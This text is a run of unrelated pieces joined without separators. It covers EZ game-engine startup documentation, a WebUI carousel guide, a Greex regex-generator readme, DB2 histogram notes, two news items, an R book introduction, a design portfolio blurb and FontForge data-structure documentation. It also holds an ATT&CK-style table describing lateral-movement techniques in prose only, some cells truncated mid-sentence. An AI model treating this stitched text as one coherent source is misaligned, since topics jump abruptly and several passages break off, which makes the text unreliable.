Startup System
Initializing an engine and shutting it properly down again, is a surprisingly difficult task. There are many steps involved, some of which have hard requirements on their ordering. Also, some functionality can only be initialized when at least a window, and potentially even a graphics API is available, which is not the case for command line tools. Once plugins are added to the mix, which can be loaded and unloaded at any time, it becomes impossible to manually set up this process.
Therefore, EZ uses a dedicated startup system, to handle this complexity automatically for you.
Startup System Concept
The concept of the startup system is simple. For every 'thing' in the engine you write code how to initialize it and shut it down again. 'Things' in the startup system are referred to as subsystems.
All of this is then (automatically) given to the startup system, and when it comes time to fully boot up the engine, that system sorts all subsystems by their dependencies and executes them in the right order. Conversely, it executes all shutdown code in the reverse order.
Two Phase Startup
A lot of code can be initialized easily in all applications. However, some code strictly requires a window or graphics API to work with and could never be initialized successfully in a command line application.
Therefore, the startup system splits the engine initialization into two phases: core systems startup (phase 1) and high level systems startup (phase 2). For command line applications, we would only ever run phase 1. In a proper game, we would first run phase 1, then create our window and rendering API and finally run phase 2. This way, when we don't need things like a renderer or the input system, we simply exclude all high level systems from being initialized.
Dependencies
Some subsystems depend on other subsystems to be initialized. Therefore the startup system requires you to provide a name for every subsystem and also a group. The name can be arbitrary but has to be unique. The group name obviously does not need to be unique, as multiple subsystems can be part of the same group.
When you declare a dependency on another subsystem, you can then either specify it by its direct name, or you can also just declare a dependency on an entire group. The latter is very common, as it is often easier, and you rarely have very strict dependencies on a single subsystem.
Startup System Usage
In practice, to use the startup system, you need to add a block of code to some cpp file. You can copy this code from Foundation/Configuration/Startup.h
and then just fill out the parts that you require. An example is given in the Sample Game Plugin:
// clang-format off
EZ_BEGIN_SUBSYSTEM_DECLARATION(SampleGamePluginStartupGroup, SampleGamePluginMainStartup)
// list all the subsystems that we want to be initialized first
BEGIN_SUBSYSTEM_DEPENDENCIES
"Foundation", // all subsystems from the 'Foundation' group (this is redundant, because `Core` already depends on `Foundation`)
"Core" // and all subsystems from the 'Core' group
END_SUBSYSTEM_DEPENDENCIES
ON_CORESYSTEMS_STARTUP
{
// allocate an implementation of PrintInterface
s_PrintInterface = EZ_DEFAULT_NEW(PrintImplementation);
s_PrintInterface->OnCoreSystemsStartup();
s_PrintInterface->Print("Called ON_CORESYSTEMS_STARTUP");
}
ON_CORESYSTEMS_SHUTDOWN
{
s_PrintInterface->Print("Called ON_CORESYSTEMS_SHUTDOWN");
// clean up the s_PrintInterface, otherwise we would get asserts about memory leaks at shutdown
s_PrintInterface.Clear();
}
ON_HIGHLEVELSYSTEMS_STARTUP
{
// we can query 'an implementation of PrintInterface' through the ezSingletonRegistry
ezSingletonRegistry::GetSingletonInstance<PrintInterface>()->Print("Called ON_HIGHLEVELSYSTEMS_STARTUP");
}
ON_HIGHLEVELSYSTEMS_SHUTDOWN
{
// we could also query 'the one instance of the PrintImplementation singleton'
PrintImplementation::GetSingleton()->Print("Called ON_HIGHLEVELSYSTEMS_SHUTDOWN");
}
EZ_END_SUBSYSTEM_DECLARATION;
Here we give our subsystem the name SampleGamePluginMainStartup
and we put it into the group SampleGamePluginStartupGroup
. Both names could be used by other subsystems to reference this as a dependency. We then specify that this subsystem should be initialized only after all the Foundation
and Core
subsystems have been booted. Both groups contain many subsystems, but we don't need to care about those details.
Now when the application starts running, at some point it will run all the ON_CORESYSTEMS_STARTUP
code blocks (in a sorted order). Here, we use that hook to set up our singleton. Later, the game will execute the ON_HIGHLEVELSYSTEMS_STARTUP
block, and at shutdown it will first execute ON_HIGHLEVELSYSTEMS_SHUTDOWN
and finally ON_CORESYSTEMS_SHUTDOWN
shortly before the application closes.
Command line applications would not execute the high level startup code blocks. Also, when a plugin is loaded or unloaded, the system ensures to call all the right startup and shutdown functions for subsystems from those plugins.
How to know about dependencies
A practical problem you may be wondering about, is how you would know the names of potential subsystem dependencies, or how you would even know what subsystems exist.
In practice, this is rarely a problem. Most subsystems only depend on the Foundation
or the Core
group of subsystems. If you have any other dependencies, you are typically quite aware of them, and know where in the code they are set up and thus, where you can look up their names.
However, you can also use ezInspector to discover all the available subsystems, their names, and see what other subsystems they depend on:


This is the path-finder application context, which is separate from "our" application and context. Our domain model with cargo, itinerary, handling event etc does not exist here. The routing domain service implementation works against the API exposed by this context.
It is not related to the core application at all, and is only part of this source tree for developer convenience.

The WebUI carousel currently supports vertical and horizontal slide transitions as well as a fade transition. In addition there are 2 modes
that can be set, these are configured by setting
autoScale to true or false (the default is true).
When autoScale is true the aspect ratio of any slide content such as images is maintained.
NOTE: WebUI doesn't currently support multiple carousels per page.
Here are the settings available via the carousel component constructor:
autoPlay - This can be set to true or false. If set to true the carousel will start playing on page load.
autoScale - This can be set to true or false. If auto scale is true, then the content aspect ration is maintained.
interval - A value in milliseconds specifying the delay between slides.
playDirection - This can be set to "next" to play forwards, or "prev" to play backwards through the slides.
stopOnHover - This can be set to true or false. Specifying true will cause the carousel to stop when the mouse is over the carousel.
transitionDuration - A value in milliseconds specifying the duration of each transition when a slide change occurs.
transitionOrientation - This can be set to "vertical" or "horizontal".
transitionType - This can be set to "slide" or "fade". The default is "slide".
Setting up a carousel
The carousel requires a small amount of markup and a short javascript initialization.
The following shows a typical structure with some styling and a previous and next control:
In the example above, the first line is the parent container with an id to target when initialising. There is also a width and height class specified,
but they are only required when the
autoScale property is set to false. When using the carousel with autoScale
switched on, the width and height will be ignored - this is because the carousel size will be based on the slide content dimentions, but will resize
depending on the width of the carousel containing element, such as a form column or other container.
Any content can be placed on top of the carousel, such as text. Overlaying content can also be added dynamically by making use of the slide change
events described below. The current slide index can be found in event.detail passed in the callback.
This means that you can use WebUI transition classes to fade in text over a specific slide for example.
NOTE:
All slides must be of equal dimensions for the carousel to function correctly. Also, when using transition effects on elements that are
based on a specific slide index, it is important to ensure the duration of the effects is shorter than the interval between slides.
Configuration
Configuring the carousel settings is a simple matter of calling the constructor with values as shown in the following example:
Events
There are 2 event callbacks that can be used, ui.carousel.change.before and
ui.carousel.change.after. The following script shows how to use the event callbacks.
NOTE:
In order to get the new slide just moved to, you will need the ui.carousel.change.after event.


Greex is a Java library that can be used to generate matches for regular expressions. It supports both random generation as well as complete generation. This can be used for creating test data, generating random tokens, or creating unit test cases.
To get started, you can add Greex to your pom.xml or build.gradle, or you can download the JAR files manually from the Library Archives.
Add this to your pom.xml to add Greex as a dependency:
<dependency> <groupId>com.navigamez</groupId> <artifactId>greex</artifactId> <version>1.0</version> </dependency>
Add this to your build.gradle to add Greex as a dependency:
compile 'com.navigamez:greex:1.0'
The GreexGenerator
class is the entry point into match generation.
GreexGenerator generator = new GreexGenerator("(white|black)|((light|dark) )?(red|green|blue|gray)"); String match = generator.generateRandom(); System.out.println(match); // e.g. "dark red"
This example uses generateRandom()
to create a random match. You can also
generate all possible matches with generateAll()
, but this shouldn't be used
for non-finite regular expressions unless a max length is provided.
GreexGenerator generator = new GreexGenerator("(white|black)|((light|dark) )?(red|green|blue|gray)"); List<String> matches = generator.generateAll(); System.out.println(matches.size()); // "14"
As documented in the API docs, these methods can all throw a
StackOverflowError
if the code recurses too deeply. In addition, if the maximum
length passed in to generateAll(int)
is too large, you may also get a
OutOfMemoryError
.
The API docs are a good starting point for reading up on the various overloads available for the generate methods as well as the caveats around thread safety.

This task demonstrates how to use the COLLECT AGGREGATE ACTIVITY DATA BASE option on a service class to produce histograms of coordinator activity lifetimes, coordinator activity execution times, and coordinator activity queue times. These three histograms are useful for knowing more than just the average lifetime, execution time, or queue time of the activities run on the system, since they can be used to calculate standard deviations and can reveal outliers.
For more information on histograms, see Histograms in workload management in the DB2 Information Center (also shown on the right). Histograms are accessed through the statistics event monitor.
The statistics event monitor is a write-to-table event monitor and contains logical data groups. The first is the control logical data group, which every event monitor has, and then there are the logical data groups that are specific to the statistics event monitor type. Those are:


This is why police were in a city centre street
Three police vehicles were at the scene
by Anna WhittakerPolice were in a Derby street last night after a person died.
A spokesperson at Derbyshire police said there had been a sudden death at a property in Merchant Street, off Ashbourne Road.
They said no crime had taken place, but the force attended so it could report the death to the coroner.
The coroner mainly receives reports about deaths from the police, doctors and medical referees.
Derbyshire Live received messages on Sunday at around 3.45pm about the police presence in the street.
One resident said there were two marked vehicles and an unmarked police van parked up.
The resident, who did not wish to be named, said there were no sirens as police approached the property.
Our reporter who went to the scene said there were two police vehicles in the street when she arrived.

Lateral Movement
The adversary is trying to move through your environment.
Lateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier.
Techniques
Techniques: 17
| ID | Name | Description |
|---|---|---|
| T1155 | AppleScript |
macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the |
| T1017 | Application Deployment Software |
Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment. |
| T1175 | Distributed Component Object Model |
Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM) beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). |
| T1210 | Exploitation of Remote Services |
Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. |
| T1037 | Logon Scripts |
Windows allows logon scripts to be run whenever a specific user or group of users log into a system. The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. |
| T1075 | Pass the Hash |
Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. |
| T1097 | Pass the Ticket |
Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. |
| T1076 | Remote Desktop Protocol |
Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS. |
| T1105 | Remote File Copy |
Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. |
| T1021 | Remote Services |
An adversary may use Valid Accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. |
| T1091 | Replication Through Removable Media |
Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself. |
| T1051 | Shared Webroot |
Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured. |
| T1184 | SSH Hijacking |
Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair. |
| T1080 | Taint Shared Content |
Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally. |
| T1072 | Third-party Software |
Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code. |
| T1077 | Windows Admin Shares |
Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include |
| T1028 | Windows Remote Management |
Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). It may be called with the |

Introduction to R for Natural Resource Scientists
with contributions by Henry Hershey
Overview
This book is intended to be a first course in R programming for natural resource professionals. It is by no means comprehensive (no book about R ever could be), but instead attempts to introduce the main topics needed to get a beginner up and running with applying R to their own work. It is intended to be a companion to in-person workshop sessions, in which each chapter is covered in a 2 hour session, however it can be used as “self-teach” manual as well. Although the examples shown have a natural resource/ecological theme, the general skills presented are general to R users across all scientific disciplines.
What is Covered?
The book is composed of six chapters intended to cover a suite of topics in introductory R programming. In general, the material builds in complexity from chapter to chapter and earlier chapters can be seen as prerequisites for later chapters.
- Chapter 1 covers the basics of working in R through RStudio, including the basics of the R coding language and environment.
- Chapter 2 covers the basics of plotting using the base R graphics functionality.
- Chapter 3 covers the basics of fitting statistical models using built-in functionality for generalized linear models as well as non-linear models.
- Chapter 4 covers the basics of simulation modeling in R.
- Chapter 5 covers the basics of the
{dplyr}
and{reshape2}
packages for manipulating and summarizing large data sets using highly readable code. - Chapter 6 covers the basics of producing maps and performing spatial analysis in R. This chapter was contributed by Henry Hershey
Prerequisites
Chapter 1 starts at the first step (installing R) and progresses by assuming no prior knowledge of programming in R or in any other language. In the later chapters, e.g., Chapters 3 and 4, an understanding of statistics at the introductory undergraduate level would be helpful but not strictly essential.
There are, however, some tasks you’ll need to complete before using this book, which are described in the two sections that follow.
 Go to:
- https://cran.rstudio.com/ to get R and
- https://www.rstudio.com/products/rstudio/download/ to get RStudio Desktop.
Download the appropriate installation file for your operating system and run that file. All default settings should be fine.
Optional Configuration
As a matter of personal preference, you are recommended to configure a few settings. Open up RStudio and go to Tools > Global Options, and in the section listed “General”:
- Make sure Restore .RData into workspace at startup is unchecked
- Make sure Save workspace to .RData on exit is set to Never
- Make sure Always save history (even when not saving .RData) is unchecked.
These settings will prevent you from getting a bunch of useless files and dialog boxes every time you open and close R.
Create a Book Directory
You should create a devoted folder on your computer for this book. All examples will assume this folder is located here: C:/Users/YOU/Documents/R-Book
. Change YOU
to be specific for your computer.
Data Sets
The data sets2 used in this book are hosted on a GitHub repository maintained by the author. It is located here: https://github.com/bstaton1/au-r-workshop-data.
To acquire the data for this book, you should:
- Navigate to the GitHub repository
- click the green Clone or download button at the top right,
- click Download ZIP
- unzip the contents of this folder into the location:
C:/Users/YOU/Documents/R-Book/Data
File organization will be very important for your success in learning to use R. This book will assume your R-Book
directory is organized as shown below. Notice that there is a separate folder for the data downloaded from GitHub as well as one for each chapter that will house the R code for that chapter. Do not worry about making all of these folders now, you will do this at the appropriate time as you work your way through this book. For now, just make sure there is a Data
folder that contains all of the unzipped contents from the GitHub repository your main R-Book
directory.

Exercises
Following each chapter, there is a set of exercises. You should attempt and complete them, as they give you an opportunity to practice what you learned while reading and typing along. Solutions are provided at the end of this book, however you are strongly recommended to attempt to figure the problems out on your own before looking to how the author would solve them.
Some exercises have bonus questions. These are intended to challenge you with some of the more difficult tasks shown in the chapter or ask you to extend what you learned to a completely different problem. If you can get all of the non-bonus questions without looking at the solutions too much, you can consider yourself to have good understanding of that chapter’s material. If you can complete the bonus questions with little or no help, that means you have mastered that chapter’s material!
Text Conventions
- Regular text: a description of what you you should do, how some code works, or a general narrative of something.
monospace
: references something in Rthis()
references some functionthis
references some other object{this}
references an R packageC:/This
is a file path
- Bold is intended to provide more emphasis to a word or topic. In general, new topics are introduced this way.
- Links: this is a link to some other location in this book. External links are provided with a full URL.
- \(Equations\): it is sometimes useful to describe concepts mathematically before showing how to do it in R.
- 3: a footnote containing more information.
Keyboard Shortcuts
Several parts of this book in this book make reference to keyboard shortcuts. They are never necessary, but can help you be more efficient if you commit them to muscle memory. This book assumes you are using a PC for the keyboard shortcuts. If you are using a Mac, they will be different4. For a complete list of RStudio’s keyboard shortcuts specific to your operating system, go to Help > Keyboard Shortcuts Help.
Development of this Book
This book represents the third reincarnation of the Auburn R Workshop Series. The first version was written in Fall 2014 using Microsoft Word, but the author found that making even small changes was clunky - each change to code in the document required a copy-paste of code and output from R to Word. Individual session materials (i.e., handout, exercises, solutions, data) were created in separate documents, saved as PDFs and .xlsx
files, and uploaded to a wordpress webpage.
The second version was written through R (R Core Team 2018) and RStudio using the R packages {rmarkdown}
(Allaire et al. 2018) and {knitr}
(Xie 2018b, 2015), which allowed the integration of text, code, and output all into one output file. This version was completed in Fall 2015. Like the first version, individual session materials were created in separate documents, and replaced those previously found on the wordpress site.
This third version was written through R and RStudio but used the R package {bookdown}
(Xie 2018a) which allowed for the individual sessions to be combined into one “book” by turning each session into a chapter. This facilitated cross-references to topics covered in previous chapters and allows the reader to only refer to one location when trying to remember how to use a skill. It also allowed for multiple formats to be published including both HTML and PDF versions.
The book is hosted on GitHub Pages, and was last built on 08-22-2019.

Ex-Manchester United star reveals he wanted to leave despite Ole Gunnar Solskjaer’s interest to retain him
by HarigovindFormer Manchester United star Romelu Lukaku has revealed that he wanted to leave the club several months before the move was finalized – and also added that manager Ole Gunnar Solskjaer was actually interested in retaining him ahead of the 2019-20 season.
“Solskjaer has my eternal respect. He understood me when I said in March that it was time for me to leave Manchester United,” he was quoted as saying, by Het Belang van Limburg.
“I have been in the Premier League as an 18-year-old boy and now I am 26. Solskjaer wanted to keep me, but I was ready for something new.”
The Belgian striker also said that he is enjoying working under Inter Milan boss Antonio Conte, who was also the former manager of Juventus and Chelsea.
“I have had a good relationship with trainer Antonio Conte for three years and I know exactly what he expects of me,” Lukaku said, before adding:
“The first two weeks at Inter I worked very hard with the group and when my teammates got some rest, I trained individually.”
“Thanks to my football intelligence, I integrated easily. We play in a system with two strikers and that suits me. Anyway, I already knew my team-mates in advance.”

Description:
PenPal is a series of mockups I created for the concept of a social meeting app as my Senior Project at State University of New York at Purchase College. The aim of PenPal is to help international students traveling abroad to meet local students prior to their arrival. The core of the project was based at Purchase College but the mockups reflect my experience studying in Copenhagen. I created the branding for the app. I choose PenPal because I thought it would re-appropriate a term we know to be something of the past. As for the logo I thought using typography would be a good choice at the time but now I believe a symbol may be been a better choice. It would be something recognizable and memorable while being conveyed through all languages.

This describes two different types of fonts, a SplineFont (which is a postscript or truetype font) and a BDFFont (bitmap font, essentially a bdf file). There are some similarities between the two data structures, each is basically an array (possibly with holes in it) of characters. Each font also contains information like the fontname.
The SplineFont consists of a bunch of SplineChars, each containing four layers,
In multilayered mode there can be many foreground layers which can be stroked or filled. Bitmap images may also be included.
Every SplineChar has a name associated with it, a unicode encoding and a its original position in the font.
A SplineSet consists of a start point and an end point, and whatever splines connect them. The start point and the end point may be the same, this either indicates a closed path, or a degenerate path with only one point on it.
A SplinePoint contains an x,y location of the point, and the locations of the two control points associated with that point. A control point may be coincident with the main point. SplinePoints may connect to two splines, a previous Spline and a next Spline. A Spline contains pointers to two SplinePoints (a start and an end point) it also contains the parameters of the Bézier curve that those two points describe (x = a*t^3+b*t^2+c*t+d, y=ditto). Splines are straight lines if the two control points that are meaningful to that spline are coincident with their respective SplinePoints. A spline contains a bit indicating whether it is order2 (truetype quadratic format) or order3 (postscript cubic format). If it is quadratic there is really only one control point, ff uses the convention that the control points on the start and end SplinePoints have the same location.
A font's encoding is stored in a separate data structure called an EncMap.
This structure controls what glyph goes where and also contains a pointer
to an Encoding structure which provides a name for the encoding. The EncMap
contains two arrays, the map
and the backmap
. The
map is indexed by the character's encoding and provides the position (in
the associated splinefont's glyph list) of the associated glyph. The backmap
provides the reverse mapping, it is indexed by a glyph's position in the
splinefont and provides an encoding for that glyph. (Note: the map array
may map several encodings to one glyph, the backmap will only indicate one
of those.)
A BDFFont is always associated with a (possibly empty) SplineFont and its EncMap, it consists of an array of BDFChars, each containing
The array is ordered the same way the SplineFont's array is ordered, and the same EncMap can be used for both.

The above data structure is used by the ExpandStroke routines which will turn a path into a filled shape. The information above provides the various controls for those routines. They mean essentially what you expect them to me in postscript.
typedef struct ipoint { int x; int y; } IPoint;
An integer point.
typedef struct basepoint { double x; double y; } BasePoint;
A double point. This provides the location of SplinePoints and their control points.
typedef struct tpoint { double x; double y; double t; } TPoint;
A double point with a "t" value. Indicates where that location occurs on a spline. (the start point itself is a t=0, the end point at t=1, intermediate points have intermediate values). Used when trying to approximate new splines.
typedef struct dbounds { double minx, maxx; double miny, maxy; } DBounds;
The bounding box of a Spline, SplineChar, RefChar, Image, or whatever else needs a bounding box.
typedef struct bdffloat { int16 xmin,xmax,ymin,ymax; int16 bytes_per_line; uint8 *bitmap; } BDFFloat;
The floating selection in a BDFChar.
typedef struct undoes { struct undoes *next; enum undotype { ut_none=0, ut_state, ut_tstate, ut_width, ut_bitmap, ut_bitmapsel, ut_composite, ut_multiple } undotype; union { struct { int16 width; int16 lbearingchange; struct splinepointlist *splines; struct refchar *refs; struct imagelist *images; } state; int width; struct { /*int16 width;*/ /* width should be controlled by postscript */ int16 xmin,xmax,ymin,ymax; int16 bytes_per_line; uint8 *bitmap; BDFFloat *selection; int pixelsize; } bmpstate; struct { /* copy contains an outline state and a set of bitmap states */ struct undoes *state; struct undoes *bitmaps; } composite; struct { struct undoes *mult; /* copy contains several sub copies (composites, or states or widths or...) */ } multiple; uint8 *bitmap; } u; } Undoes;
The undo data structure. Used by both SplineChar and BDFChar. Also used to contain the local clipboard. Every character layer has several Undoes (up to about 10 or so, it's configurable) that allow it to go back several operations, these are linked together on the next field (redos are handled similarly, of course).
Undoes come in several types, ut_none is only used by the clipboard when it is empty.
ut_state is used by SplineChars and it contains a dump of the current state of one layer of the character. Obviously things could be optimized a great deal here, but this is easy. ut_tstate has the same data structure as ut_state, it is used during transformations and is just a flag that tells the display to draw the original as well as the currently transformed thing (so you can see what you've done).
ut_state is also used by the clipboard when copying a SplineChar or a piece of a SplineChar.
ut_width is used by SplineChars when the width (and nothing else) changes.
ut_bitmap is used by BDFChars and is a dump of the current state of the bitmap. Again there is room for optimization here, but this is easy.
ut_bitmapsel is used when doing a copy of a BDFChar. If there is a selection it (and it alone) gets copied into the selection field of the bmpstate structure. If there is no selection the entire bitmap is converted into a floating selection and copied into the selection field.
ut_composite is used when doing a copy from the FontView where you are copying both the splines and the bitmaps of a character.
ut_mult is used when doing a copy from the FontView where you are copying more than one character.
typedef struct bdfchar { struct splinechar *sc; int16 xmin,xmax,ymin,ymax; int16 width; int16 bytes_per_line; uint8 *bitmap; int orig_pos; struct bitmapview *views; Undoes *undoes; Undoes *redoes; unsigned int changed: 1; unsigned int byte_data: 1; /* for anti-aliased chars entries are grey-scale bytes not bw bits */ BDFFloat *selection; } BDFChar;
The basic bitmap character structure. There's a link to the SplineChar used to create the bitmap. Then the bounding box of the bitmap, the character's width (in pixels of course), the number of bytes per row of the bitmap array, a pointer to an array containing the bitmap. The bitmap is stored with 8bits packed into a byte, the high order bit is left most. Every row begins on a new byte boundary. There are (xmax-xmin+1) bits in each row and (xmax-xmin+8)/8 bytes in each row. There are (ymax-ymin+1) rows. A bit-value of 1 means there bit should be drawn, 0 means it is transparent. Then the encoding in the current font. A linked list of BitmapView structures all of which look at this bitmap (so any changes to this bitmap need to cause a redraw in all views). A set of undoes and redoes. A flag indicating whether the thing has been changed since it was last saved to disk.
Up to this point I've been talking about bitmaps. It is also possible to have a bytemap. The data structure is exactly the same, except that each pixel is represented by a byte rather than a bit. There is a clut for this in the BDFFont (it's the same for every character), but basically 0=>transparent, (2^n-1) =>fully drawn, other values are shades of grey between. Can handle depths of 1,2,4 and 8 bits/pixel.
The last thing in the BDFChar is a (/an optional) floating selection. Only present if the user has made a selection or done a paste or something like that.
typedef struct bdffont { struct splinefont *sf; int glyphcnt; BDFChar **glyphs; /* an array of charcnt entries */ int pixelsize; int ascent, descent; struct bdffont *next; struct clut *clut; /* Only for anti-aliased fonts */ } BDFFont;
The basic bitmap font. Contains a reference to the SplineFont to which it is attached. Then a size and an array of BDFChars (note there may be NULL entries in the array if no character is defined for that encoding). Then a temporary array which is used in one set of routines while reencoding the font. The pixelsize of the em-square. The ascent and descent (in pixels), these should sum to the em-square. A character set which will match that in the SplineFont. A pointer to the next bitmap font associated with this SplineFont.
If we are dealing with a byte font, then there will also be a clut. This contains a count of the number of entries in the array, and then the array itself. Currently the number of entries here is always 16, but that could change.
enum pointtype { pt_curve, pt_corner, pt_tangent }; typedef struct splinepoint { BasePoint me; BasePoint nextcp; /* control point */ BasePoint prevcp; /* control point */ unsigned int nonextcp:1; unsigned int noprevcp:1; unsigned int nextcpdef:1; unsigned int prevcpdef:1; unsigned int selected:1; /* for UI */ unsigned int pointtype:2; unsigned int isintersection: 1; uint16 flex; /* This is a flex serif have to go through icky flex output */ struct spline *next; struct spline *prev; } SplinePoint;
A SplinePoint is located at the position specified by "me". The control point associated with the next Spline is positioned at nextcp, while that associated with the previous Spline is at prevcp. Then there are a couple of flags that simplify tests. If the nextcp is degenerate (ie. at the same place as me) then nonextcp is set, similarly for prevcp. If the user has not touched the control points then they will have their default values, and when the user moves the point around fontforge will update the control points appropriately, if they do not have default values then fontforge will only offset them.
If the point is selected then that bit will be set.
Every point is classified as a curve point, a corner point and a tangent point.
The isintersection bit is used internally to the SplineOverlap routines. The flex value is for flex hints. It is read in from a type1 font and then ignored. Someday I may use it.
Finally we have pointers to the two Splines than connect to this point.
typedef struct linelist { IPoint here; struct linelist *next; } LineList; typedef struct linearapprox { double scale; unsigned int oneline: 1; unsigned int onepoint: 1; struct linelist *lines; struct linearapprox *next; } LinearApprox;
These are the lines used to approximate a Spline when drawing it. They are cached so they don't need to be regenerated each time. There's a different set of lines for every scale (as there is a different amount of visible detail). They get freed and regenerated if the Spline changes.
typedef struct spline1d { double a, b, c, d; } Spline1D; typedef struct spline { unsigned int islinear: 1; unsigned int isticked: 1; unsigned int isneeded: 1; unsigned int isunneeded: 1; unsigned int ishorvert: 1; unsigned int order2: 1; SplinePoint *from, *to; Spline1D splines[2]; /* splines[0] is the x spline, splines[1] is y */ struct linearapprox *approx; /* Possible optimizations: Precalculate bounding box Precalculate points of inflection */ } Spline;
A spline runs from the from
SplinePoint to the to
SplinePoint.
If both control points of a Spline are degenerate, then the Spline is linear
(actually there are some other case that will lead to linear splines, sometimes
these will be detected and turned into the canonical case, other times they
will not be). The remaining bits are used when processing Splines in various
functions. Most are used in the SplineOverlap routines, but some are used
in other places too.
The Spline1D structures give the equations for the x and y coordinates respectively (splines[0] is for x, splines[1] is for y).
typedef struct splinepointlist { SplinePoint *first, *last; struct splinepointlist *next; } SplinePointList, SplineSet;
A SplinePointList (or a SplineSet) is a collection of Splines and SplinePoints. Every SplinePoint can connect to two Splines (next and prev). Every Spline connects to two SplinePoints (from and to). A SplinePointList is a connected path. There are three cases:
first != last
which means that we have an open path. Here
first->prev==NULL and last->next==NULL.
first == last
and first->prev==NULL
which means
we have a degenerate path consisting of a single point, and
last->next==NULL as well
first == last
and first->prev!=NULL
which means
we have a closed path. This should be the most common case.
Generally a series of paths will make up a character, and they are linked together on the next field.
typedef struct refchar { int16 adobe_enc, orig_pos int unicode_enc; /* used by paste */ double transform[6]; /* transformation matrix (first 2 rows of a 3x3 matrix, missing row is 0,0,1) */ SplinePointList *splines; struct refchar *next; unsigned int checked: 1; unsigned int selected: 1; DBounds bb; struct splinechar *sc; } RefChar;
A SplineChar may contain a reference to another character. For instance "Agrave" might contain a reference to an "A" and a "grave". There are three different encoding values, of which orig_pos is not always up to date. Adobe_enc gives the location in the Adobe Standard Encoding which is used by the seac command in type1 fonts. If this is -1 then the character isn't in the adobe encoding and it won't be possible to put a reference to it into a Type1 font (truetype doesn't have this restriction, it has other ones). The transformation matrix is a standard postscript transformation matrix (3 rows of 2 columns. First 2 rows provide standard rotation/scaling/flipping/skewing/... transformations, last row provides for translations. (Both postscript and truetype have restrictions on what kinds of transformations are acceptable). The splines field provides a quick way of drawing the referred character, it is the result of applying the transformation matrix on all splines in the refered character. There may be several referred characters and they are linked together on the next field. The checked field is used to insure that we don't have any loops (ie. on characters which refer to themselves). The selected field indicates that the reference is selected. The bb field provides a transformed bounding box. And the sc field points to the SplineChar we are referring to.
typedef struct kernpair { struct splinechar *sc; int off; struct kernpair *next; } KernPair;
If a character should be kerned with another, then this structure provides that info. Every SplineChar has a linked list of KernPairs attached to it. In that list the sc field indicates the other character in the pair, and off defines the offset between them (or rather the difference from what their respective left and right bearings would lead you to believe it should be). Next points to the next kernpair.
typedef struct hints { double base, width; double b1, b2, e1, e2; double ab, ae; unsigned int adjustb: 1; unsigned int adjuste: 1; struct hints *next; } Hints;
The only important fields here are base, width and next. The others are used temporarily by the SplineFill routines. Base gives the location (in either x or y space) of where the stem starts, and width is how long it is. Width may be negative (in which case base is where the stem ends). Next points to the next hint for the character.
typedef struct imagelist { struct gimage *image; double xoff, yoff; /* position in character space of upper left corner of image */ double xscale, yscale; /* scale to convert one pixel of image to one unit of character space */ DBounds bb; struct imagelist *next; unsigned int selected: 1; } ImageList;
SplineChars may have images in their backgrounds (or foregrounds for multilayer characters). This structure contains a pointer to the image to be displayed, an indication of where it should be positioned, and how it should be scaled (I do not support any other transformations on images). The bounding box is after the transformations have been applied. The next field points to the next image, and selected indicates whether this one is selected or not.
